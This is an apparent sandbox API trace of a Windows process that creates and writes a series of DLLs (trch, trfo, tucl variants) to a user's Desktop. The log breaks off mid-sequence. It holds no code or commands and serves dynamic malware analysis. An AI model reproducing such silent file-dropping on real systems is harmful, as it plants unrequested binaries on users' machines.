[0128.997] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\trch.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x43c
[0128.997] GetFileType (hFile=0x43c) returned 0x1
[0128.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0128.998] GetFileType (hFile=0x43c) returned 0x1
[0128.998] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0129.017] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-0.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-0.dll", lpFilePart=0x0) returned 0x30
[0129.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0129.017] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\trch-0.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x440
[0129.020] GetFileType (hFile=0x440) returned 0x1
[0129.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0129.020] GetFileType (hFile=0x440) returned 0x1
[0129.020] WriteFile (in: hFile=0x440, lpBuffer=0x2633600*, nNumberOfBytesToWrite=0x12000, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x2633600*, lpNumberOfBytesWritten=0x2ea818*=0x12000, lpOverlapped=0x0) returned 1
[0129.024] CloseHandle (hObject=0x440) returned 1
[0129.192] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-0.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-0.dll", lpFilePart=0x0) returned 0x30
[0129.192] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-0.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-0.dll", lpFilePart=0x0) returned 0x30
[0129.192] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-0.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-0.dll", lpFilePart=0x0) returned 0x30
[0129.192] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-0.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-0.dll", lpFilePart=0x0) returned 0x30
[0129.192] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-0.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-0.dll", lpFilePart=0x0) returned 0x30
[0129.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0129.193] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\trch-0.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29451ea0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x29451ea0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x29478000, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x12000)) returned 1
[0129.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0129.193] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-0.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-0.dll", lpFilePart=0x0) returned 0x30
[0129.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0129.193] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\trch-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x440
[0129.193] GetFileType (hFile=0x440) returned 0x1
[0129.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0129.193] GetFileType (hFile=0x440) returned 0x1
[0129.193] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0129.201] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-1.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-1.dll", lpFilePart=0x0) returned 0x30
[0129.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0129.202] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-1.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\trch-1.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x444
[0129.203] GetFileType (hFile=0x444) returned 0x1
[0129.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0129.203] GetFileType (hFile=0x444) returned 0x1
[0129.203] WriteFile (in: hFile=0x444, lpBuffer=0x2667688*, nNumberOfBytesToWrite=0xea00, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x2667688*, lpNumberOfBytesWritten=0x2ea818*=0xea00, lpOverlapped=0x0) returned 1
[0129.206] CloseHandle (hObject=0x444) returned 1
[0129.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-1.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-1.dll", lpFilePart=0x0) returned 0x30
[0129.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-1.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-1.dll", lpFilePart=0x0) returned 0x30
[0129.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-1.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-1.dll", lpFilePart=0x0) returned 0x30
[0129.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-1.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-1.dll", lpFilePart=0x0) returned 0x30
[0129.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-1.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-1.dll", lpFilePart=0x0) returned 0x30
[0129.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0129.208] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-1.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\trch-1.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2961af20, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2961af20, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2961af20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xea00)) returned 1
[0129.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0129.209] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-1.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-1.dll", lpFilePart=0x0) returned 0x30
[0129.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0129.209] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-1.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\trch-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x444
[0129.209] GetFileType (hFile=0x444) returned 0x1
[0129.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0129.209] GetFileType (hFile=0x444) returned 0x1
[0129.209] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0129.220] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo.dll", lpFilePart=0x0) returned 0x2e
[0129.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0129.220] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\trfo.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x448
[0129.221] GetFileType (hFile=0x448) returned 0x1
[0129.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0129.221] GetFileType (hFile=0x448) returned 0x1
[0129.221] WriteFile (in: hFile=0x448, lpBuffer=0x26771d8*, nNumberOfBytesToWrite=0x9600, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x26771d8*, lpNumberOfBytesWritten=0x2ea818*=0x9600, lpOverlapped=0x0) returned 1
[0129.225] CloseHandle (hObject=0x448) returned 1
[0129.232] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo.dll", lpFilePart=0x0) returned 0x2e
[0129.232] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo.dll", lpFilePart=0x0) returned 0x2e
[0129.232] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo.dll", lpFilePart=0x0) returned 0x2e
[0129.232] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo.dll", lpFilePart=0x0) returned 0x2e
[0129.232] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo.dll", lpFilePart=0x0) returned 0x2e
[0129.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0129.232] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\trfo.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29641080, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x29641080, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x296671e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x9600)) returned 1
[0129.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0129.232] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo.dll", lpFilePart=0x0) returned 0x2e
[0129.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0129.233] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\trfo.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x448
[0129.233] GetFileType (hFile=0x448) returned 0x1
[0129.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0129.233] GetFileType (hFile=0x448) returned 0x1
[0129.233] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0129.253] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-0.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-0.dll", lpFilePart=0x0) returned 0x30
[0129.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0129.254] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\trfo-0.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c
[0129.255] GetFileType (hFile=0x44c) returned 0x1
[0129.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0129.255] GetFileType (hFile=0x44c) returned 0x1
[0129.255] WriteFile (in: hFile=0x44c, lpBuffer=0x26818f8*, nNumberOfBytesToWrite=0xb000, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x26818f8*, lpNumberOfBytesWritten=0x2ea818*=0xb000, lpOverlapped=0x0) returned 1
[0129.257] CloseHandle (hObject=0x44c) returned 1
[0129.259] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-0.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-0.dll", lpFilePart=0x0) returned 0x30
[0129.259] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-0.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-0.dll", lpFilePart=0x0) returned 0x30
[0129.259] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-0.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-0.dll", lpFilePart=0x0) returned 0x30
[0129.259] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-0.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-0.dll", lpFilePart=0x0) returned 0x30
[0129.260] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-0.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-0.dll", lpFilePart=0x0) returned 0x30
[0129.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0129.260] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\trfo-0.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2968d340, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2968d340, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x296b34a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xb000)) returned 1
[0129.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0129.260] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-0.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-0.dll", lpFilePart=0x0) returned 0x30
[0129.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0129.260] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\trfo-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c
[0129.260] GetFileType (hFile=0x44c) returned 0x1
[0129.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0129.260] GetFileType (hFile=0x44c) returned 0x1
[0129.260] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0129.318] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-2.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-2.dll", lpFilePart=0x0) returned 0x30
[0129.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0129.318] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-2.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\trfo-2.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x450
[0129.321] GetFileType (hFile=0x450) returned 0x1
[0129.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0129.321] GetFileType (hFile=0x450) returned 0x1
[0129.321] WriteFile (in: hFile=0x450, lpBuffer=0x268da50*, nNumberOfBytesToWrite=0x7400, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x268da50*, lpNumberOfBytesWritten=0x2ea818*=0x7400, lpOverlapped=0x0) returned 1
[0129.323] CloseHandle (hObject=0x450) returned 1
[0129.328] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-2.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-2.dll", lpFilePart=0x0) returned 0x30
[0129.328] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-2.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-2.dll", lpFilePart=0x0) returned 0x30
[0129.328] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-2.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-2.dll", lpFilePart=0x0) returned 0x30
[0129.328] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-2.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-2.dll", lpFilePart=0x0) returned 0x30
[0129.328] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-2.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-2.dll", lpFilePart=0x0) returned 0x30
[0129.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0129.329] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-2.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\trfo-2.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2974ba20, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2974ba20, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2974ba20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x7400)) returned 1
[0129.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0129.329] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-2.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-2.dll", lpFilePart=0x0) returned 0x30
[0129.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0129.330] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-2.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\trfo-2.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x450
[0129.330] GetFileType (hFile=0x450) returned 0x1
[0129.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0129.330] GetFileType (hFile=0x450) returned 0x1
[0129.330] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0129.372] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl.dll", lpFilePart=0x0) returned 0x2e
[0129.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0129.373] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tucl.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454
[0129.374] GetFileType (hFile=0x454) returned 0x1
[0129.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0129.374] GetFileType (hFile=0x454) returned 0x1
[0129.374] WriteFile (in: hFile=0x454, lpBuffer=0x2695fa0*, nNumberOfBytesToWrite=0x1800, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x2695fa0*, lpNumberOfBytesWritten=0x2ea818*=0x1800, lpOverlapped=0x0) returned 1
[0129.376] CloseHandle (hObject=0x454) returned 1
[0129.389] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl.dll", lpFilePart=0x0) returned 0x2e
